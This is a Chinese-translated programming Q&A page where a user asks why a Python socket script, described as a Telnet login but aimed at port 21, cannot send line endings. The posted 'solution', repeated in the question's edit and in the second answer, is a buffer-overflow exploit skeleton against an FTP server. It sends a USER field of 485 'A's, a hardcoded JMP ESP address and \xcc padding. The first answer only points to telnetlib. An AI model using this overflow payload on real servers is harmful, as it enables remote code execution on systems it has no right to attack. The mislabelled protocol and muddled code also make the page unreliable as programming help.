Python模拟回车键

Question

我写了一个简单的 Python 脚本，它应该使用用户名和密码连接到 Telnet 服务器。

脚本如下：

#!/usr/bin/python

import sys
import socket

hostname = sys.argv[1]
password = "whatever"
username = "whatever"


connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

    connect.connect((hostname, 21))


except:
        print "[-] connection error"
response = connect.recv(2000)
print response
sys.exit(1)


connect.send("user %s\%r\%n" %username)
response = connect.recv(2000)
print response



connect.send("pass %\%r\%n" %password)
response = connect.recv(2000)
print response



connect.close()

错误是：

连接正常，但我无法模拟回车键：

connect.send("user %s\%r\%n" %username)
response = connect.recv(2000)
print response



connect.send("pass %\%r\%n" %password)
response = connect.recv(2000)
print response

那么为什么它不起作用？谢谢:)

编辑解决方案：

#!/usr/bin/python

import sys
import socket




hostname = sys.argv[1]
password = "whatever"


jmpesp= "\xED\x1E\x94\x7C"

username = "A"*485 + jmpesp + "\xcc"*(1024 - 485 - 4)


connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

    connect.connect((hostname, 21))


except:


    print "[-] Verbindungs Fehler"
    response = connect.recv(2000)
    print response
    sys.exit(1)


connect.send("user %s\r\n" %username)
response = connect.recv(2000)
print response

connect.send("user %s\r\n" %password)
response = connect.recv(2000)
print response








connect.close()

Answer 1

Python 包含用于 telnet 的库：telnetlib

你看过那个吗？ https://docs.python.org/2/library/telnetlib.html#module-telnetlib

还有一个如何使用它的例子：

import getpass
import sys
import telnetlib

HOST = "localhost"
user = raw_input("Enter your remote account: ")
password = getpass.getpass()

tn = telnetlib.Telnet(HOST)

tn.read_until("login: ")
tn.write(user + "\n")
if password:
    tn.read_until("Password: ")
    tn.write(password + "\n")

tn.write("ls\n")
tn.write("exit\n")

print tn.read_all()

Answer 2

解决方案代码是：

#!/usr/bin/python

import sys
import socket




hostname = sys.argv[1]
password = "whatever"


jmpesp= "\xED\x1E\x94\x7C"

username = "A"*485 + jmpesp + "\xcc"*(1024 - 485 - 4)


connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

    connect.connect((hostname, 21))


except:


    print "[-] Verbindungs Fehler"
    response = connect.recv(2000)
    print response
    sys.exit(1)


connect.send("user %s\r\n" %username)
response = connect.recv(2000)
print response

connect.send("user %s\r\n" %password)
response = connect.recv(2000)
print response








connect.close()

这个错误是一个实现错误，它在代码执行之前停止了程序。

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